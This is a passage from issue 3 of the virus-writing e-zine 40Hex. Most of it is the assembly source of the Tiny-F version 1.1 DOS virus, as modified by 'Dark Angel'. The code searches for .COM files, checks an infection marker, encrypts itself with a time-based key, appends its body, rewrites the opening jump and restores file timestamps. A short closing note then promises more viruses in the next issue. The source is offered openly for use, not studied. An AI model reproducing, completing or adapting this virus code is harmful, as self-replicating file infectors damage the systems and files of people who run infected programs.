  3438.         MOV     AH,4EH                  ;        ||   (find files)
  3439. mainloop:                               ;       \||/
  3440.         INT     DOS                     ;    ----\/----
  3441.         JC      hiccup                  ; no more files found, terminate virus
  3442. ; Next part had to be changed to account for new DTA address - Dark Angel
  3443.         LEA     DX, [SI+ENDPROG+131h+30]; set file name pointer
  3444.                                         ; (offset 30 is DTA filename start)
  3445.         MOV     AX,3D02H                ; open file
  3446.         INT     DOS                     ; do it!
  3447.         MOV     BX,AX                   ; move file handle to BX
  3448.         MOV     AH,3FH                  ; read file
  3449.         LEA     DX,[SI+endprog]         ; load end of program (as buffer pntr)
  3450.         MOV     DI,DX                   ; set Dest Index to area for buffer
  3451.         MOV     CX,0003H                ; read 3 bytes
  3452.         INT     DOS                     ; do it!
  3453.         CMP     BYTE PTR [DI],0E9H      ; check for JMP at start
  3454.         JE      infect                  ; If begins w/JMP, Infect
  3455. nextfile:
  3456.         MOV     AH,4FH                  ; set int 21 to find next file
  3457.         JMP     mainloop                ; next file, do it!
  3458. hiccup: JMP     exit
  3459. infect:
  3460.         MOV     AX,5700h                ; get date function
  3461.         INT     DOS                     ; do it!
  3462.         PUSH    DX                      ; store date + time
  3463.         PUSH    CX
  3464.         MOV     DX,[DI+01H]             ; set # of bytes to move
  3465.         MOV     [SI+blnkdat],DX         ;  "  " "    "   "   "
  3466. ; Tighter Code here - Dark Angel
  3467.         XOR     CX,CX                   ;  "  " "    "   "   " (0 here)
  3468.         MOV     AX,4200H                ; move file
  3469.         INT     DOS                     ; do it!
  3470.         MOV     DX,DI                   ; set dest index to area for buffer
  3471.         MOV     CX,0002H                ; two bytes
  3472.         MOV     AH,3FH                  ; read file
  3473.         INT     DOS                     ; do it!
  3474.         CMP     WORD PTR [DI],0807H     ; check for infection
  3475.         JE      nextfile                ; next file if infected
  3476. getaval:                                ; encryption routine starts here
  3477. ; My modifications here - Dark Angel
  3478.         MOV     AH, 2Ch                 ; DOS get TIME function
  3479.         INT     DOS                     ; do it!
  3480.         OR      DX, DX                  ; Is it 0?
  3481.         JE      getaval                 ; yeah, try again
  3482.         MOV     word ptr [si+offset en_val], DX ; Store it
  3483. ; Tighter code here - Dark Angel
  3484.         XOR     DX,DX                   ; clear regs
  3485.         XOR     CX,CX                   ;   "    "
  3486.         MOV     AX,4202H                ; move file pointer
  3487.         INT     DOS                     ; do it!
  3488.         OR      DX,DX                   ; new pointer location 0?
  3489.         JNE     nextfile                ; if no then next file
  3490.         CMP     AH,0FEH                 ; new pointer loc too high?
  3491.         JNC     nextfile                ; yes, try again
  3492.         CALL    nfect
  3493.         MOV     AX,4200H                ; move pointer
  3494.         XOR     CX, CX                  ; clear reg
  3495.         MOV     DX,OFFSET 00001         ; where to set pointer
  3496.         INT     DOS                     ; do it!
  3497.         MOV     AH,40H                  ; write to file
  3498.         LEA     DX,[SI+offset endprog+3]; write data at SI+BUFFER
  3499.         MOV     CX,0002H                ; two bytes (the JMP)
  3500.         INT     DOS                     ; do it!
  3501.         MOV     AX,5701h                ; store date
  3502.         POP     CX                      ; restore time
  3503.         POP     DX                      ; restore date
  3504.         INT     DOS                     ; do it!
  3505. exit:
  3506.         MOV     AH,3EH                  ; close file
  3507.         INT     DOS                     ; do it!
  3508.  
  3509. ; Return DTA to old position - Dark Angel
  3510.  
  3511.         MOV     AH, 1Ah                 ; Set DTA
  3512.         MOV     DX, 80h                 ;  to PSP DTA
  3513.         INT     21h
  3514.  
  3515.         JMP     BP
  3516.  
  3517. ;-----------------------------------------------------------------------------
  3518. ; encrypted data goes here
  3519. ;-----------------------------------------------------------------------------
  3520.  
  3521. fspec   LABEL   WORD
  3522.         DB      '*.COM',0
  3523. nondata DB      'Tiny-F version 1.1'    ; Program identification
  3524.         DB      '╢º ╟┌@&Ä╕■╗ï'          ; author identification
  3525.         DB      'Released 10-19-91'     ; release date
  3526. endenc  LABEL   BYTE                    ; end of encryption zone
  3527. ;-----------------------------------------------------------------------------
  3528. ; nonencrypted data goes anywhere after here
  3529. ;-----------------------------------------------------------------------------
  3530.  
  3531. blnkdat LABEL   WORD
  3532.         DW      0000H
  3533.  
  3534. ; Only en_val is needed now because of new encryption mechanism
  3535. en_val  DW      0h
  3536.  
  3537. endprog LABEL   WORD
  3538. tinyv   ENDS
  3539.         END     start
  3540. -------------------------------------------------------------------------------
  3541.  40Hex Issue 3                                                      0010
  3542.   
  3543.                               In Closing
  3544.  
  3545.      Well that will do it for this issue.  Sorry it took so damn long,
  3546.      but screw it.
  3547.  
  3548.      Next issue we will have more articals, more viruses, and all that.
  3549.  
  3550.      We were supposed to have an interview with an Amiga virus writer
  3551.      this issue but we just couldn't get it in time.  Also we were
  3552.      planning an interview with John Mcafee, but the same story there.
  3553.  
  3554.      Also next issue, I hope to have the Bob Ross virus, from the
  3555.      twisted mind of Dark Angel.  And If I can find it, the DIR-2 virus
  3556.      and The Teqeulla Virus, so I can't spell.
  3557.  
  3558.      See you then.
  3559.  
  3560.